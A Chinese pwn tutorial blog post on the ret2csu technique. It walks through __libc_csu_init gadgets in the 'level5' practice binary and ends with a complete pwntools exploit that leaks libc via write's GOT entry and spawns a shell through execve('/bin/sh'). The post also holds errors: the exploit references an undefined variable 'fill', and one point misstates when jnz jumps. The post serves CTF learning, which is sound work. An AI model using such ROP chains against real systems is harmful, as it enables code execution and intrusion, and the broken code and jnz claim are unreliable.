从零开始的pwn学习之ret2csu
作者:互联网
ret2csu
前置知识
X64寄存器
我们知道,64位寄存器有RAX,RBX,RCX,RDX,RDI,RSI,RBP,RSP,R8,R9,R10,R11,R12,R13,R14,R15,而rdi,rsi,rdx,rcx,r8,r9便用来传递函数的前六个参数,如多于六个,便在放到栈里。
__libc_csu_init
一般的程序都会调用libc中的函数,而此函数便是来将libc初始化的,故此函数几乎是每一个程序所必备的。
gadget
我们在构造ROP链的时候,往往会用到能够给寄存器赋值的gadget,形如pop|ret。而有意思的是,__libc_csu_init函数内毫无疑问也存在这样的gadget,我们称之为通用gadget,于是一种利用该通用gadget来构造ROP的方法便诞生了,名为ret2csu
汇编风格
AT&T风格 Intel风格
寄存器前加% 寄存器无需另加符号
立即数前加$ 立即数无需另加符号
16进制立即数使用0x前缀 16进制的立即数使用h后缀
源操作数在前,目的操作数在后(从前往后读) 目的操作数在前,源操作数在后(从后往前读)
间接寻址使用小括号() 间接寻址使用中括号[]
间接寻址完整格式:%sreg:disp(%base,index,scale) 间接寻址完整格式:sreg:[basereg + index*scale + disp]
操作位数:指令+l、w、b 指令+ dword ptr、word ptr、byte ptr
ret2csu
用的题目是蒸米的ROP_STEP_BY_STEP中的level5
题目获取
git clone https://github.com/zhengmin1989/ROP_STEP_BY_STEP.git
此时,我们用ida查看__libc_csu_init函数
.text:00000000004005A0 ; =============== S U B R O U T I N E =======================================
.text:00000000004005A0
.text:00000000004005A0
.text:00000000004005A0 ; void _libc_csu_init(void)
.text:00000000004005A0 public __libc_csu_init
.text:00000000004005A0 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:00000000004005A0
.text:00000000004005A0 var_30 = qword ptr -30h
.text:00000000004005A0 var_28 = qword ptr -28h
.text:00000000004005A0 var_20 = qword ptr -20h
.text:00000000004005A0 var_18 = qword ptr -18h
.text:00000000004005A0 var_10 = qword ptr -10h
.text:00000000004005A0 var_8 = qword ptr -8
.text:00000000004005A0
.text:00000000004005A0 ; __unwind {
.text:00000000004005A0 mov [rsp+var_28], rbp
.text:00000000004005A5 mov [rsp+var_20], r12
.text:00000000004005AA lea rbp, cs:600E24h
.text:00000000004005B1 lea r12, cs:600E24h
.text:00000000004005B8 mov [rsp+var_18], r13
.text:00000000004005BD mov [rsp+var_10], r14
.text:00000000004005C2 mov [rsp+var_8], r15
.text:00000000004005C7 mov [rsp+var_30], rbx
.text:00000000004005CC sub rsp, 38h
.text:00000000004005D0 sub rbp, r12
.text:00000000004005D3 mov r13d, edi
.text:00000000004005D6 mov r14, rsi
.text:00000000004005D9 sar rbp, 3
.text:00000000004005DD mov r15, rdx
.text:00000000004005E0 call _init_proc
.text:00000000004005E5 test rbp, rbp
.text:00000000004005E8 jz short loc_400606
.text:00000000004005EA xor ebx, ebx
.text:00000000004005EC nop dword ptr [rax+00h]
.text:00000000004005F0
.text:00000000004005F0 loc_4005F0: ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0 mov rdx, r15
.text:00000000004005F3 mov rsi, r14
.text:00000000004005F6 mov edi, r13d
.text:00000000004005F9 call qword ptr [r12+rbx*8]
.text:00000000004005FD add rbx, 1
.text:0000000000400601 cmp rbx, rbp
.text:0000000000400604 jnz short loc_4005F0
.text:0000000000400606
.text:0000000000400606 loc_400606: ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606 mov rbx, [rsp+38h+var_30]
.text:000000000040060B mov rbp, [rsp+38h+var_28]
.text:0000000000400610 mov r12, [rsp+38h+var_20]
.text:0000000000400615 mov r13, [rsp+38h+var_18]
.text:000000000040061A mov r14, [rsp+38h+var_10]
.text:000000000040061F mov r15, [rsp+38h+var_8]
.text:0000000000400624 add rsp, 38h
.text:0000000000400628 retn
.text:0000000000400628 ; } // starts at 4005A0
.text:0000000000400628 __libc_csu_init endp
.text:0000000000400628
.text:0000000000400628 ; ---------------------------------------------------------------------------
首先我们看这里
.text:0000000000400606 loc_400606: ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606 mov rbx, [rsp+38h+var_30]
.text:000000000040060B mov rbp, [rsp+38h+var_28]
.text:0000000000400610 mov r12, [rsp+38h+var_20]
.text:0000000000400615 mov r13, [rsp+38h+var_18]
.text:000000000040061A mov r14, [rsp+38h+var_10]
.text:000000000040061F mov r15, [rsp+38h+var_8]
.text:0000000000400624 add rsp, 38h
.text:0000000000400628 retn
我们可以用栈溢出来给rbx、rbp、r12、r13、r14、r15写上我们所需要的数据,再用ret返回我们所希望的地址。
注意这里因为时sp指针偏移实现的,所以我们要知道var_30等具体为多少,这决定了我们要在rsp+38h+var_30之前填充多少意义不明的数据。于是可以养成用objdump看汇编代码的好习惯,值得一提的是汇编有AT&T风格与Intel风格,而我们所熟悉的显然是更为常见的且规范的intel风格,于是,我们用objdump -M intel -d./level5查看后如下
400606: 48 8b 5c 24 08 mov rbx,QWORD PTR [rsp+0x8]
40060b: 48 8b 6c 24 10 mov rbp,QWORD PTR [rsp+0x10]
400610: 4c 8b 64 24 18 mov r12,QWORD PTR [rsp+0x18]
400615: 4c 8b 6c 24 20 mov r13,QWORD PTR [rsp+0x20]
40061a: 4c 8b 74 24 28 mov r14,QWORD PTR [rsp+0x28]
40061f: 4c 8b 7c 24 30 mov r15,QWORD PTR [rsp+0x30]
400624: 48 83 c4 38 add rsp,0x38
400628: c3 ret
再看这里
.text:00000000004005F0 loc_4005F0: ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0 mov rdx, r15
.text:00000000004005F3 mov rsi, r14
.text:00000000004005F6 mov edi, r13d
.text:00000000004005F9 call qword ptr [r12+rbx*8]
.text:00000000004005FD add rbx, 1
.text:0000000000400601 cmp rbx, rbp
.text:0000000000400604 jnz short loc_4005F0
可以将r15中的值赋给rdx,将r14中的值赋给rsi,将r13中的值赋给edi(rdi的低32位,高32位寄存器的值为0),虽然只能控制低32位,但也足以做很多事情了,这三个寄存器就是0x64函数调用中的前三个参数,如果需要用到含有三个参数的函数的时候,那么这一段gadget就即可以按我们所希望的控制全部参数,最后又一个call命令,call命令指向的地址为[r12+rbx*8],那么可以通过控制r12和rbx来跳到我们1所希望的地址
稍微了解过汇编的人都会知道
1若执行cmp指令后:ZF=1,则说明两个数相等,因为zero为1说明结果为0.
2JNZ =jump if not zero 运算结果不为零则转移
3ZF(Zero Flag)–零标志 若运算结果为零则ZF=1,否则ZF=0
4jump if not zero指的是运算结果为零(即ZF=1),而不是指ZF=0
于是我们知道当rbx和rbp 的之间的关系为 rbx+1 = rbp时,我们就不会执行 loc_4005F0,进而继续执行接下来的语句,因为call命令指向的地址与rbx有关,那么很显然我们将rbx的值设的越简单越好,于是使rbx=0,rbp=1.
三次payload
拥有以上知识后,我们将构造三次payload来实施我们的ret2csu
目的
第一次payload:获得write或puts在got表地址,用LibcSearcher识别libc版本,从而获得system地址
第二次payload:通过read函数把system和/bin/sh写入.bss段
第三次payload: 直接call到之前的.bss地址,执行system(“/bin/sh”)
实例level5
首先,先checksec一下
64位程序,开了NX
没啥可说的,直接上exp吧
from pwn import *
from LibcSearcher import *
elf = ELF('./level5')
sh = process('./level5')
write_got = elf.got['write'] #获取write函数的got地址
read_got = elf.got['read'] #获取read函数的got地址
main_addr = elf.symbols['main'] #获取main函数的函数地址
bss_base = elf.bss() #获取bss段地址
p2 = 0x00000000004005F0
#gadget2
p1 = 0x0000000000400606
#gadget1
def com_gadget(null, rbx, rbp, r12, r13, r14, r15, main):
#null为0x8空缺
#main为main函数地址
payload = b'a' * 0x88 #0x80+8个字节填满栈空间至ret返回指令
payload += p64(p1)
payload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(p2)
payload += b'a' * 56 #56个字节填充平衡堆栈造成的空缺
payload += p64(main)
sh.send(payload)
sleep(1) #暂停等待接收
sh.recvuntil('Hello, World\n')
#利用write函数打印write函数地址并返回main函数
com_gadget(0,0, 1, write_got, 1, write_got, 8, main_addr)
write_addr = u64(sh.recv(8)) #接收write函数地址
libc = LibcSearcher('write', write_addr) #查找libc版本
libc_base = write_addr - libc.dump('write') #计算该版本libc基地址
execve_addr = libc_base + libc.dump('execve') #查找该版本libc execve函数地址,亲测貌似system不行.png
sh.recvuntil('Hello, World\n')
#read函数布局,将execve函数地址和/bin/sh字符串写进bss段首地址
com_gadget(0,0, 1, read_got, 0, bss_base, 16, main_addr)
sh.send(p64(execve_addr) + b'/bin/sh\x00')#凑足十六位
sh.recvuntil('Hello, World\n')
#调用bss段中的execve('/bin/sh')
com_gadget(0,0, 1, bss_base, bss_base+8, 0, 0, main_addr)
sh.interactive()
参考文章
有错误希望师傅们指出.png
标签:ret2csu,libc,text,rbx,mov,var,从零开始,pwn,rsp 来源: https://blog.csdn.net/jzc020121/article/details/115561453